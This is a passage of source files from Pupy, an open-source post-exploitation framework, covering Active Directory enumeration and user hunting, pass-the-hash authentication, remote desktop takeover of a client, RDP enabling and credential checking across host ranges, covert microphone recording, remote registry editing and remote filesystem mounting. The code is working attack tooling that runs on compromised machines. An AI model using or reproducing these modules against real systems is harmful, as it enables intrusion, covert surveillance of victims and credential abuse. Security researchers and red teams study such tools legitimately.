                help='Domain to query')
        get_dfsshare_parser.add_argument('-v', '--version', nargs='+', choices=['v1', 'v2'],
                default=['v1', 'v2'], help='The version of DFS to query for servers: v1, v2 or all (default: all)')
        get_dfsshare_parser.add_argument('-a', '--ads-path', dest='ads_path',
                help='Additional ADS path')
        get_dfsshare_parser.set_defaults(func='get_dfsshare')

        # Parser for the get-netou command
        get_netou_parser= subparsers.add_parser('get-netou', help='Get a list of all current '\
            'OUs in the domain', parents=[ad_parser])
        get_netou_parser.add_argument('--ouname', dest='queried_ouname',
                default='*', help='OU name to query (wildcards accepted)')
        get_netou_parser.add_argument('--guid', dest='queried_guid',
                help='Only return OUs with the specified GUID in their gplink property.')
        get_netou_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netou_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_netou_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the OUs, otherwise, just the adspath')
        get_netou_parser.set_defaults(func='get_netou')

        # Parser for the get-netsite command
        get_netsite_parser= subparsers.add_parser('get-netsite', help='Get a list of all current '\
            'sites in the domain', parents=[ad_parser])
        get_netsite_parser.add_argument('--sitename', dest='queried_sitename',
                help='Site name to query (wildcards accepted)')
        get_netsite_parser.add_argument('--guid', dest='queried_guid',
                help='Only return sites with the specified GUID in their gplink property.')
        get_netsite_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netsite_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_netsite_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the sites, otherwise, just the name')
        get_netsite_parser.set_defaults(func='get_netsite')

        # Parser for the get-netsubnet command
        get_netsubnet_parser= subparsers.add_parser('get-netsubnet', help='Get a list of all current '\
            'subnets in the domain', parents=[ad_parser])
        get_netsubnet_parser.add_argument('--sitename', dest='queried_sitename',
                help='Only return subnets for the specified site name (wildcards accepted)')
        get_netsubnet_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netsubnet_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_netsubnet_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the subnets, otherwise, just the name')
        get_netsubnet_parser.set_defaults(func='get_netsubnet')

        # Parser for the get-netgpo command
        get_netgpo_parser= subparsers.add_parser('get-netgpo', help='Get a list of all current '\
            'GPOs in the domain', parents=[ad_parser])
        get_netgpo_parser.add_argument('--gponame', dest='queried_gponame',
                default='*', help='GPO name to query for (wildcards accepted)')
        get_netgpo_parser.add_argument('--displayname', dest='queried_displayname',
                help='Display name to query for (wildcards accepted)')
        get_netgpo_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netgpo_parser.add_argument('-a', '--ads-path',
                help='Additional ADS path')
        get_netgpo_parser.set_defaults(func='get_netgpo')

        # Parser for the get-netgroup command
        get_netgroupmember_parser= subparsers.add_parser('get-netgroupmember', help='Return a list of members of a domain groups', parents=[ad_parser])
        get_netgroupmember_parser.add_argument('--groupname', dest='queried_groupname',
                help='Group to query, defaults to the \'Domain Admins\' group (wildcards accepted)')
        get_netgroupmember_parser.add_argument('--sid', dest='queried_sid',
                help='SID to query')
        get_netgroupmember_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query')
        get_netgroupmember_parser.add_argument('-a', '--ads-path', dest='ads_path',
                help='Additional ADS path')
        get_netgroupmember_parser.add_argument('-r', '--recurse', action='store_true',
                help='If the group member is a group, try to resolve its members as well')
        get_netgroupmember_parser.add_argument('--use-matching-rule', action='store_true',
                help='Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.\n' \
            'Much faster than manual recursion, but doesn\'t reveal cross-domain groups')
        get_netgroupmember_parser.add_argument('--full-data', action='store_true',
                help='If set, returns full information on the members')
        get_netgroupmember_parser.set_defaults(func='get_netgroupmember')

        # Parser for the get-netsession command
        get_netsession_parser= subparsers.add_parser('get-netsession', help='Queries a host to return a '\
            'list of active sessions on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])
        get_netsession_parser.set_defaults(func='get_netsession')

        #Parser for the get-localdisks command
        get_localdisks_parser = subparsers.add_parser('get-localdisks', help='Queries a host to return a '\
            'list of active disks on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])
        get_localdisks_parser.set_defaults(func='get_localdisks')

        #Parser for the get-netdomain command
        get_netdomain_parser = subparsers.add_parser('get-netdomain', help='Queries a host for available domains',
            parents=[ad_parser])
        get_netdomain_parser.set_defaults(func='get_netdomain')

        # Parser for the get-netshare command
        get_netshare_parser= subparsers.add_parser('get-netshare', help='Queries a host to return a '\
            'list of available shares on the host (you can use local credentials instead of domain credentials)', parents=[target_parser])
        get_netshare_parser.set_defaults(func='get_netshare')

        # Parser for the get-netloggedon command
        get_netloggedon_parser= subparsers.add_parser('get-netloggedon', help='This function will '\
            'execute the NetWkstaUserEnum RPC call ti query a given host for actively logged on '\
            'users', parents=[target_parser])
        get_netloggedon_parser.set_defaults(func='get_netloggedon')

        # Parser for the get-netlocalgroup command
        get_netlocalgroup_parser= subparsers.add_parser('get-netlocalgroup', help='Gets a list of '\
            'members of a local group on a machine, or returns every local group. You can use local '\
            'credentials instead of domain credentials, however, domain credentials are needed to '\
            'resolve domain SIDs.', parents=[target_parser])
        get_netlocalgroup_parser.add_argument('--groupname', dest='queried_groupname',
                help='Group to list the members of (defaults to the local \'Administrators\' group')
        get_netlocalgroup_parser.add_argument('--list-groups', action='store_true',
                help='If set, returns a list of the local groups on the targets')
        get_netlocalgroup_parser.add_argument('-t', '--dc-ip', dest='domain_controller',
                default=str(), help='IP address of the Domain Controller (used to resolve domain SIDs)')
        get_netlocalgroup_parser.add_argument('-r', '--recurse', action='store_true',
                help='If the group member is a domain group, try to resolve its members as well')
        get_netlocalgroup_parser.set_defaults(func='get_netlocalgroup')

        # Parser for the invoke-checklocaladminaccess command
        invoke_checklocaladminaccess_parser = subparsers.add_parser('invoke-checklocaladminaccess', help='Checks '\
                'if the given user has local admin access on the given host', parents=[target_parser])
        invoke_checklocaladminaccess_parser.set_defaults(func='invoke_checklocaladminaccess')

        # Parser for the invoke-userhunter command
        invoke_userhunter_parser = subparsers.add_parser('invoke-userhunter', help='Finds '\
                'which machines domain users are logged into', parents=[ad_parser])
        invoke_userhunter_parser.add_argument('--computername', dest='queried_computername',
                nargs='+', default=list(), help='Host to enumerate against')
        invoke_userhunter_parser.add_argument('--computerfile', dest='queried_computerfile',
                type=FileType('r'), help='File of hostnames/IPs to search')
        invoke_userhunter_parser.add_argument('--computer-adspath', dest='queried_computeradspath',
                type=str, help='ADS path used to search computers against the DC')
        invoke_userhunter_parser.add_argument('--unconstrained', action='store_true',
                help='Query only computers with unconstrained delegation')
        invoke_userhunter_parser.add_argument('--groupname', dest='queried_groupname',
                help='Group name to query for target users')
        invoke_userhunter_parser.add_argument('--targetserver', dest='target_server',
                help='Hunt for users who are effective local admins on this target server')
        invoke_userhunter_parser.add_argument('--username', dest='queried_username',
                help='Hunt for a specific user name')
        invoke_userhunter_parser.add_argument('--user-adspath', dest='queried_useradspath',
                type=str, help='ADS path used to search users against the DC')
        invoke_userhunter_parser.add_argument('--userfile', dest='queried_userfile',
                type=FileType('r'), help='File of user names to target')
        invoke_userhunter_parser.add_argument('--threads', type=int,
                default=1, help='Number of threads to use (default: %(default)s)')
        invoke_userhunter_parser.add_argument('-v', '--verbose', action='store_true',
                help='Displays results as they are found')
        invoke_userhunter_parser.add_argument('--admin-count', action='store_true',
                help='Query only users with adminCount=1')
        invoke_userhunter_parser.add_argument('--allow-delegation', action='store_true',
                help='Return user accounts that are not marked as \'sensitive and '\
                        'not allowed for delegation\'')
        invoke_userhunter_parser.add_argument('--stop-on-success', action='store_true',
                help='Stop hunting after finding target user')
        invoke_userhunter_parser.add_argument('--check-access', action='store_true',
                help='Check if the current user has local admin access to the target servers')
        invoke_userhunter_parser.add_argument('-d', '--domain', dest='queried_domain',
                help='Domain to query for machines')
        invoke_userhunter_parser.add_argument('--stealth', action='store_true',
                help='Only enumerate sessions from commonly used target servers')
        invoke_userhunter_parser.add_argument('--stealth-source', nargs='+', choices=['dfs', 'dc', 'file'],
                default=['dfs', 'dc', 'file'],
                help='The source of target servers to use, '\
            '\'dfs\' (distributed file server), \'dc\' (domain controller), '\
            'or \'file\' (file server) (default: all)')
        invoke_userhunter_parser.add_argument('--show-all', action='store_true',
                help='Return all user location results')
        invoke_userhunter_parser.add_argument('--foreign-users', action='store_true',
                help='Only return users that are not part of the searched domain')
        invoke_userhunter_parser.set_defaults(func='invoke_userhunter')

    def run(self, args):

        # parse args entered
        if args.hashes:
            try:
                args.lmhash, args.nthash = args.hashes.split(':')
            except ValueError:
                args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
        else:
            args.lmhash = args.nthash = str()

        if args.password is None and not args.hashes:
            self.warning("A password or a hash is needed")
            return

        parsed_args = dict()
        for k, v in vars(args).items():
            if k not in ('func', 'hashes'):
                parsed_args[k] = v

        # call the fcorrect function
        function = getattr(self.client.conn.modules['pywerview.cli.helpers'], args.func)
        results = function(**parsed_args)

        # prints results
        try:
            for x in results:
                x = str(x)
                print(x)
                if '\n' in x:
                    print('')
        except TypeError:
            print(results)


================================================
FILE: pupy/modules/rdesktop.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import base64
import subprocess
import time
import threading
import json

from pupy.pupylib.PupyModule import PupyModule, config, PupyArgumentParser
from pupy.pupylib.PupyWeb import RequestHandler, WebSocketHandler, tornado
from pupy.pupylib.PupyLogger import getLogger

logger = getLogger('rdesktop')

__class_name__="RemoteDesktopModule"

class RdesktopWebSocketHandler(WebSocketHandler):
    def initialize(self, client, refresh_interval, module, **kwargs):
        self.client = client
        self.refresh_interval = refresh_interval
        self.remote_streamer = None
        self.module = module
        self.events_thread = None
        self.stop_events_thread = threading.Event()
        self.mouse_pos = None
        self.mouse_lock = threading.Lock()

        super(RdesktopWebSocketHandler, self).initialize(**kwargs)

    def on_open(self):
        self.set_nodelay(True)
        pass

    def events_handler(self, mouse_refresh_rate=0.01):
        """ function to handle events in queue """
        while not self.stop_events_thread.is_set():
            try:
                mp = None
                with self.mouse_lock:
                    if self.mouse_pos:
                        mp = self.mouse_pos
                        self.mouse_pos = None
                if mp:
                    #print "moving to %s"%str(mp)
                    self.remote_streamer.move(*mp)

                time.sleep(mouse_refresh_rate)
            except Exception as e:
                logger.error(e)
                break

    def on_message(self, data):
        js = json.loads(data)
        if js['msg']== 'start_stream':
            self.start_stream()

        elif js['msg'] == 'click':
            logger.info("mouse click at : (%s, %s)"%(js['x'], js['y']))
            self.remote_streamer.click(int(js['x']), int(js['y']))

        elif js['msg'] == 'move':
            with self.mouse_lock:
                self.mouse_pos=(int(js['x']), int(js['y']))

        elif js['msg'] == 'keypress':
            key = js['key'] #unicode key
            logger.info("key press : %s"%key)
            try:
                if len(key) > 1:
                    key=key.lower()
                    self.remote_streamer.kbd_send(key)

                else:
                    self.remote_streamer.kbd_write(key)
            except Exception as e:
                logger.error(e)

        else:
            logger.error("unknown message:"+data)

    def update_video_callback(self, jpg_data, width, height):
        try:
            self.write_message(json.dumps({
                'screen': base64.b64encode(jpg_data),
                'width': width,
                'height': height
            }))

        except tornado.websocket.WebSocketClosedError:
            pass

    def start_stream(self):
        logger.info('starting video stream stream ...')

        if self.remote_streamer:
            self.remote_streamer.stop()

        create_video_streamer = self.client.remote('rdesktop', 'create_video_streamer', False)

        self.remote_streamer = create_video_streamer(
            self.update_video_callback,
            self.refresh_interval)

        if self.stop_events_thread:
            self.stop_events_thread.set()
            self.stop_events_thread = threading.Event()

        self.events_thread = threading.Thread(target=self.events_handler)

        self.events_thread.daemon = True
        self.events_thread.start()
        logger.info('streaming video started')

    def on_close(self):
        if self.remote_streamer:
            self.remote_streamer.stop()

        if self.stop_events_thread:
            self.stop_events_thread.set()

class IndexHandler(RequestHandler):
    def initialize(self, **kwargs):
        self.client = kwargs.pop('client', None)
        super(IndexHandler, self).initialize(**kwargs)

    async def get(self):
        self.render('rdesktop/index.html', port=self.client.pupsrv.pupweb.port)

@config(category="admin", tags=["rdesktop","rdp", "vnc", "remote", "desktop"], compat=['windows', 'linux', 'darwin'])
class RemoteDesktopModule(PupyModule):
    """ Start a remote desktop session using a browser websocket client """

    dependencies = ['mss', 'rdesktop', 'keyboard', 'png']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="rdesktop", description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-v', '--view', action='store_true',
            help='directly open a browser tab on the handler url')

        cls.arg_parser.add_argument(
            '-r', '--refresh-interval',
            default=0.02, type=float,
            help='refresh interval. Set to 0 for best reactivity')

    def run(self, args):
        self.web_handlers=[
            (r'/?', IndexHandler, {
                'client': self.client
            }),
            (r'/ws', RdesktopWebSocketHandler, {
                'client': self.client,
                'refresh_interval': args.refresh_interval,
                'module': self
            }),
        ]

        conninfo = self.start_webplugin()
        if not conninfo:
            self.error('WebServer is not enabled')
            self.info('Enable with "config set pupyd webserver true"')
            return

        port, path = conninfo
        self.success("Web handler started on http://127.0.0.1:%d%s"%(port, path))
        self.info("By default, web handler accepts connections from localhost only")
        self.info("Use the following pupy command for allowing another ip address to connect to web handler:")
        self.info("'config set webserver local_ips X.Y.Z.A'")
        if args.view:
            config = self.client.pupsrv.config
            viewer = config.get('default_viewers', 'browser')
            try:
                subprocess.Popen([viewer, path])
            except Exception as e:
                self.error("Impossible to execute '{0} {1}': {2}".format(viewer, path, str(e)))


================================================
FILE: pupy/modules/rdp.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from threading import Event

__class_name__="Rdp"

@config(cat="admin", compatibilities=['windows', 'linux', 'darwin'])
class Rdp(PupyModule):
    """ Enable / Disable rdp connection or check for valid credentials on a remote host """

    dependencies = {
        'windows': ['pupwinutils.rdp'],
        'all': [
            'pupyutils.rdp_check', 'impacket', 'calendar', 'OpenSSL'
        ]
    }

    terminate_scan = None
    terminate_wait = None
    terminated = False

    @classmethod
    def init_argparse(cls):

        example = 'Examples:\n'
        example += '>> run rdp local --enable\n'
        example += '>> run rdp local --disable\n'
        example += '>> run rdp remote -u john -p P4ssw0rd 192.168.0.1,192.168.1.2,192.168.3.0/24\n'

        cls.arg_parser = PupyArgumentParser(prog="Rdp", description=cls.__doc__, epilog=example)
        subparsers = cls.arg_parser.add_subparsers(title='Choose a specific action')

        local = subparsers.add_parser('local', help='Enable / Disable rdp connection (only for windows hosts)')
        local.set_defaults(local=True, remote=False)
        local.add_argument('--enable', '-e', action='store_true', help='enable rdp')
        local.add_argument('--disable', '-d', action='store_true', help='disable rdp')

        remote = subparsers.add_parser('remote', help='Check for valid credentials on a remote host')
        remote.set_defaults(remote=True, local=False)

        remote.add_argument('-d', dest='domain', default='workgroup', help='domain used for checking RDP connection')
        remote.add_argument('-u', dest='username', required=True, help='username used for checking RDP connection')
        remote.add_argument('-p', dest='password', default= '', help='password used for checking RDP connection')
        remote.add_argument('-H', dest='hashes', help='NTLM hashes used for checking RDP connection')

        remote.add_argument('targets', help='remote host or range for checking RDP connection')

    def run(self, args):
        # TO DO: enable multi RDP session, see MIMIKATZ for example

        if args.local:
            if args.enable or args.disable:
                if not self.client.is_windows():
                    self.error("This option could be used only on windows hosts")
                    return

                check_if_admin = self.client.remote('pupwinutils.rdp', 'check_if_admin', False)
                disable_rdp = self.client.remote('pupwinutils.rdp', 'disable_rdp', False)
                enable_rdp = self.client.remote('pupwinutils.rdp', 'enable_rdp', False)

                # check if admin
                if not check_if_admin:
                    self.error("Admin privileges are required")
                    return

                if args.disable:
                    disable_rdp()

                if args.enable:
                    enable_rdp()

        elif args.remote:
            check_rdp = self.client.remote('pupyutils.rdp_check', 'check_rdp', False)

            self.terminate_wait = Event()

            def show_result(host, result):
                if result is True:
                    self.success('{}: OK'.format(host))
                elif result is False:
                    self.warning('{}: FAIL'.format(host))
                else:
                    self.error('{}: {}'.format(host, result))

            def on_complete(hosts):
                self.success('Completed ({} connectable hosts)'.format(len(hosts)))
                self.terminate_wait.set()

            self.terminate_scan = check_rdp(
                args.targets, args.username, args.password, args.domain, args.hashes,
                on_complete, show_result
            )

            self.terminate_wait.wait()

    def interrupt(self):
        if not self.terminated:
            self.terminated = True

            if self.terminate_scan:
                self.terminate_scan()

            if self.terminate_wait:
                self.terminate_wait.set()


================================================
FILE: pupy/modules/record_mic.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyErrors import PupyModuleError
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser
)

import datetime
import os.path
import subprocess
import wave


__class_name__="RecordMicrophoneModule"


def save_wav(path, sample_width, channels, rate, raw_frames):
    waveFile = wave.open(path, 'wb')
    waveFile.setnchannels(channels)
    waveFile.setsampwidth(sample_width)
    waveFile.setframerate(rate)
    waveFile.writeframes(raw_frames)
    waveFile.close()


@config(cat="gather", compat=["windows"])
class RecordMicrophoneModule(PupyModule):
    """ record sound with the microphone ! """

    dependencies=["pyaudio", "mic_recorder"]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='record_mic', description=cls.__doc__)
        cls.arg_parser.add_argument('-t', '--time', default=5, help='number of 5 seconds recordings to save')
        cls.arg_parser.add_argument('-m', '--max-length', default=None, help='split recorded files into multiple files if the recording goes over --max-length seconds')
        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default sound player for preview')

    def run(self, args):
        try:
            os.makedirs(os.path.join("data", "audio_records"))
        except Exception:
            pass

        self.success("starting recording for %ss ..." % args.time)

        max_length = args.max_length
        if max_length is None:
            max_length = args.time
        if int(max_length) > int(args.time):
            raise PupyModuleError("--max-length argument cannot be bigger than --time")

        for sw, c, r, rf in self.client.conn.modules['mic_recorder'].record_iter(total=args.time, chunk=max_length):
            filepath = os.path.join("data","audio_records","mic_" + self.client.short_name() + "_" + str(datetime.datetime.now()).replace(" ","_").replace(":","-") + ".wav")
            save_wav(filepath, sw, c, r, rf)
            self.success("microphone recording saved to %s" % filepath)

        if args.view:
            viewer = self.client.pupsrv.config.get("default_viewers", "sound_player")

            found = False
            for p in os.environ.get('PATH', '').split(':'):
                if os.path.exists(os.path.join(p, viewer)):
                    subprocess.Popen([viewer, filepath])
                    found = True
                    break

            if not found:
                self.error('Default viewer not found: %s' % viewer)


================================================
FILE: pupy/modules/reg.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

__class_name__ = 'reg'

import sys

from threading import Event

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import (
    Color, List, Table, Line, MultiPart, TruncateToTerm
)

from pupy.network.lib.convcompat import as_unicode_string


if sys.version_info.major > 2:
    unicode = str
    basestring = str


TYPES = (
    'NONE', 'SZ', 'EXPAND_SZ', 'BINARY', 'LE32', 'BE32',
    'LINK', 'MULTI_SZ', 'RESOURCE', 'RESOURCE_DESCRIPTOR',
    'RESOURCE_REQUIREMENTS_LIST', 'LE64'
)

TYPE_COLORS = {
    'NONE': 'darkgrey',
    'SZ': 'white',
    'EXPAND_SZ': 'cyan',
    'BINARY': 'grey',
    'LE32': 'lightgreen',
    'BE32': 'blue',
    'LE64': 'lightgreen',
    'LINK': 'lightyellow',
    'MULTI_SZ': 'lightred',
    'RESOURCE': 'red',
    'RESOURCE_DESCRIPTOR': 'red',
    'RESOURCE_REQUIREMENTS_LIST': 'red'
}


def fix_key(x):
    x = as_unicode_string(x, fail='convert')
    x = x.strip()

    if x is None:
        return x
    elif '\\' not in x:
        x = x.replace('/', '\\')

    while '\\\\' in x:
        x = x.replace('\\\\', '\\')

    return x


@config(cat='admin')
class reg(PupyModule):
    '''Search/list/get/set/delete registry keys/values '''

    __slots__ = ('interrupt_cb', '_last_key')

    dependencies = {
        'windows': ['reg'],
        'all': ['pupyutils.psexec', 'pupyutils.rreg']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='reg', description=cls.__doc__)

        remote_args = cls.arg_parser.add_argument_group(
            description='Remote connection (WMI)')
        remote_args.add_argument(
            '-R', '--host', help='IP Address of remote host',
        )
        remote_args.add_argument(
            '--port', type=int, default=135, help='WMI Port'
        )
        remote_args.add_argument(
            '-u', '--user', default='', help='Username to authenticate'
        )

        remote_args.add_argument(
            '-d', '--domain', default='', help='Domain name'
        )
        remote_args.add_argument(
            '-p', '--password', default='', help='Password'
        )
        remote_args.add_argument(
            '-H', '--hash', default='', help='NTLM hash'
        )
        remote_args.add_argument(
            '-t', '--timeout', default=30, type=int, help='NTLM hash'
        )

        commands = cls.arg_parser.add_subparsers(dest='command')

        ls = commands.add_parser('ls')
        ls.add_argument('key', nargs='?', help='List key (HKCU by default)')
        ls.add_argument('-w', '--wide', action='store_true', default=False, help='Show all the things')
        ls.set_defaults(func=cls.ls)

        get = commands.add_parser('get')
        get.add_argument('key', help='Key path (no default)')
        get.add_argument(
            'name', nargs='?', default='',
            help='Value name (default is Default value)')
        get.set_defaults(func=cls.get)

        vset = commands.add_parser('set')
        vset.add_argument(
            '-c', '--create', action='store_true', default=False,
            help='Create key')
        vset.add_argument(
            '-i', '--integer', action='store_true', default=False,
            help='Set as DWORD/LE32, default SZ (string)')
        vset.add_argument('key', help='Key path')
        vset.add_argument('name', help='Value name to set')
        vset.add_argument('value', help='Value to set')
        vset.set_defaults(func=cls.set)

        rm = commands.add_parser('rm')
        rm.add_argument('key', help='Key path')
        rm.add_argument('name', default='', nargs='?', help='Value name or subkey to delete')
        rm.set_defaults(func=cls.rm)

        search = commands.add_parser('search')
        search.add_argument(
            '-r', '--roots', default='HKU,HKLM,HKCC', help='Roots where to search ("," is delemiter)')
        search.add_argument(
            '-K', '--exclude-key-name', action='store_false', default=True,
            help='Do not search term in key names')
        search.add_argument(
            '-N', '--exclude-value-name', action='store_false', default=True,
            help='Do not search term in value names')
        search.add_argument(
            '-V', '--exclude-value', action='store_false', default=True,
            help='Do not search term in values')
        search.add_argument(
            '-R', '--regex', action='store_true', default=False,
            help='Search term is regex')
        search.add_argument(
            '-E', '--equals', action='store_true', default=False,
            help='Show only full matches')
        search.add_argument(
            '-i', '--ignorecase', action='store_true', default=False,
            help='Ignore case')
        search.add_argument(
            '-w', '--wide', action='store_true', default=False,
            help='Show all the things')
        search.add_argument(
            '-1', '--first', action='store_true', default=False,
            help='Return after first match')
        search.add_argument('term', help='Term to search')
        search.set_defaults(func=cls.search)

    def __init__(self, *args, **kwargs):
        super(reg, self).__init__(*args, **kwargs)
        self.interrupt_cb = None

    def _method(self, name, args, serialize=True):
        if args.host:
            method = self.client.remote('pupyutils.rreg', name, serialize)

            def _wrapped(*fargs, **fkwargs):
                fkwargs = dict(fkwargs)
                fkwargs['timeout'] = args.timeout

                return method(
                    args.host, args.port, args.user, args.domain,
                    args.password, args.hash,
                    *fargs, **fkwargs
                )

            return _wrapped
        else:
            return self.client.remote('reg', name, serialize)

    def run(self, args):
        self.interrupt_cb = None
        self._last_key = None

        if not self.client.is_windows() and not args.host:
            self.error('Specify remote host with -R')
            return

        try:
            if getattr(args, 'key', None):
                args.key = fix_key(args.key)

            args.func(self, args)

        except Exception as e:
            import traceback
            traceback.print_exc()

            if hasattr(e, 'error_string'):
                self.error(e.error_string)
            elif e.args[0] == 5:
                self.error('Access denied')
            elif e.args[0] == 'ascii':
                self.error('Encoding error: {}'.format(e))
            else:
                self.error('Error: {}'.format(e.args[0]))

    def _format_multi(self, results, wide=False, remove=None):
        keys = []
        values = []

        legend = ['NAME', 'TYPE', 'VALUE']
        if not remove:
            legend.insert(0, 'KEY')

        for record in results:
            is_key, key, rest = record[0], record[1], record[2:]
            key = as_unicode_string(key, fail='convert')

            if remove and key.startswith(remove):
                key = key[len(remove)+1:]

            if is_key:
                keys.append(key)
                continue

            name, value, ktype = rest

            ktype = TYPES[ktype]
            color = TYPE_COLORS[ktype]

            name = as_unicode_string(name, fail='convert')

            if ktype == 'BINARY':
                value = 'hex:' + value.encode('hex')
            else:
                value = as_unicode_string(value, fail='convert')

            if not wide and isinstance(value, basestring):
                value = value.strip()

            values.append({
                'KEY': Color(key, color),
                'NAME': Color(name, color),
                'VALUE': Color(value, color),
                'TYPE': Color(ktype, color)
            })

        results = []

        if keys:
            results.append(List(keys, caption='{ Keys }'))

        if values:
            results.append(Table(values, legend, caption='Values'))

        if not keys and not values:
            self.log('Empty')
        else:
            results = MultiPart(results)
            if not wide:
                results = TruncateToTerm(results)
            self.log(results)

    def ls(self, args):
        ls = self._method('enum', args)
        result = ls(args.key)

        if result is None:
            self.error('No such key')
            return

        try:
            self._format_multi(result, wide=args.wide, remove=args.key)
        except:
            import traceback
            traceback.print_exc()

    def get(self, args):
        get = self._method('get', args)

        value = get(args.key, as_unicode_string(args.name, fail='convert'))
        if value is None:
            self.error('No such key')
        else:
            self.log(value)

    def set(self, args):
        kset = self._method('set', args)
        value = args.value

        if args.integer:
            value = int(value)
        else:
            value = as_unicode_string(value, fail='convert')

        try:
            if kset(args.key, as_unicode_string(args.name, fail='convert'), value, args.create):
                self.success('OK')
            else:
                self.error('No such key')
        except Exception as e:
            print(e)
            raise

    def rm(self, args):
        rm = self._method('rm', args)

        if rm(args.key, as_unicode_string(args.name, fail='convert')):
            self.success('OK')
        else:
            self.error('No such key')

    def interrupt(self):
        if self.interrupt_cb is None:
            self.warning('Interrupt is not supported')
            return

        self.interrupt_cb()

    def _format_by_one(self, record):
        is_key, key, rest = record[0], record[1], record[2:]

        if is_key is None:
            self.error(key)
            return

        if self._last_key != key:
            self._last_key = key
            self.log(Line('KEY:', Color(key, 'yellow')))

        if is_key:
            return

        name, value, ktype = rest

        ktype = TYPES[ktype]
        color = TYPE_COLORS[ktype]

        if isinstance(value, basestring):
            value = value.strip()

        self.log(
            List([
                Line('Value:', Color(
                    value if ktype != 'BINARY' else repr(value), color)),
                Line('Type:', Color(ktype, color)),
            ], caption=Color(' > ' + name, color) if name else None)
        )

    def search(self, args):
        search = self._method('search', args, False)

        completed = Event()

        self.interrupt_cb = search(
            self._format_by_one, completed.set,
            as_unicode_string(args.term, fail='convert'),
            tuple(fix_key(x) for x in args.roots.split(',')),
            args.exclude_key_name, args.exclude_value_name,
            args.exclude_value,
            args.regex, args.ignorecase,
            args.first, args.equals
        )

        self.info('Searching...')
        completed.wait()
        self.info('Done')


================================================
FILE: pupy/modules/rfs.py
================================================
# -*- coding: utf-8 -*-

# https://raw.githubusercontent.com/skorokithakis/python-fuse-sample/master/passthrough.py

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser, IgnoreModule

import os
import errno
import subprocess

import threading
import psutil

try:
    import fuse
    from fuse import FuseOSError, Operations

except Exception as e:
    raise IgnoreModule(e)

class PupyFUSE(fuse.FUSE):
    ''' FUSE override SIGINT handler, which is bad. So ^C ^V without that '''

    def __init__(self, operations, mountpoint, raw_fi=False, encoding='utf-8',
                 **kwargs):

        '''
        Setting raw_fi to True will cause FUSE to pass the fuse_file_info
        class as is to Operations, instead of just the fh field.

        This gives you access to direct_io, keep_cache, etc.
        '''

        self.operations = operations
        self.raw_fi = raw_fi
        self.encoding = encoding

        args = ['fuse']

        args.extend(flag for arg, flag in self.OPTIONS
                    if kwargs.pop(arg, False))

        kwargs.setdefault('fsname', operations.__class__.__name__)
        args.append('-o')
        args.append(','.join(self._normalize_fuse_options(**kwargs)))
        args.append(mountpoint)

        args = [arg.encode(encoding) for arg in args]
        argv = (fuse.c_char_p * len(args))(*args)

        fuse_ops = fuse.fuse_operations()

        for field in fuse.fuse_operations._fields_:
            if len(field) == 3:
                continue

            name, prototype = field
            if prototype != fuse.c_voidp and getattr(operations, name, None):
                op = fuse.partial(self._wrapper, getattr(self, name))
                setattr(fuse_ops, name, prototype(op))

        self.args = args
        self.fuse_ops = fuse_ops
        self.argv = argv

    def loop(self):
        err = fuse._libfuse.fuse_main_real(
            len(self.args), self.argv,
            fuse.pointer(self.fuse_ops),
            fuse.sizeof(self.fuse_ops), None)

        del self.operations     # Invoke the destructor

        if err:
            raise RuntimeError(err)

class RFSManager(object):
    def __init__(self):
        self._mounts = {}
        self._conn = None
        self._pupsrv = None
        self._rops = None

    @property
    def assigned(self):
        return all([
            self._conn, self._pupsrv, self._rops
        ])

    def assign(self, client):
        self._conn = client.conn
        self._pupsrv = client.pupsrv

        opm_methos = ('join', 'sep', 'isdir', 'relpath')
        om_stat = ('statvfs', 'lstat')

        rops = RemoteOperations()
        for om in RemoteOperations.__slots__:
            if om in opm_methos or om in om_stat:
                continue

            setattr(rops, om, client.remote('os', om, False))

        for opm in opm_methos:
            setattr(rops, opm, client.remote('os.path', opm, False))

        for oms in om_stat:
            setattr(rops, oms, client.remote('pupyutils.basic_cmds', 'd'+oms))

        self._rops = rops

    def mount(self, rpath, lpath):

        lpath = os.path.expanduser(lpath)
        lpath = os.path.expandvars(lpath)
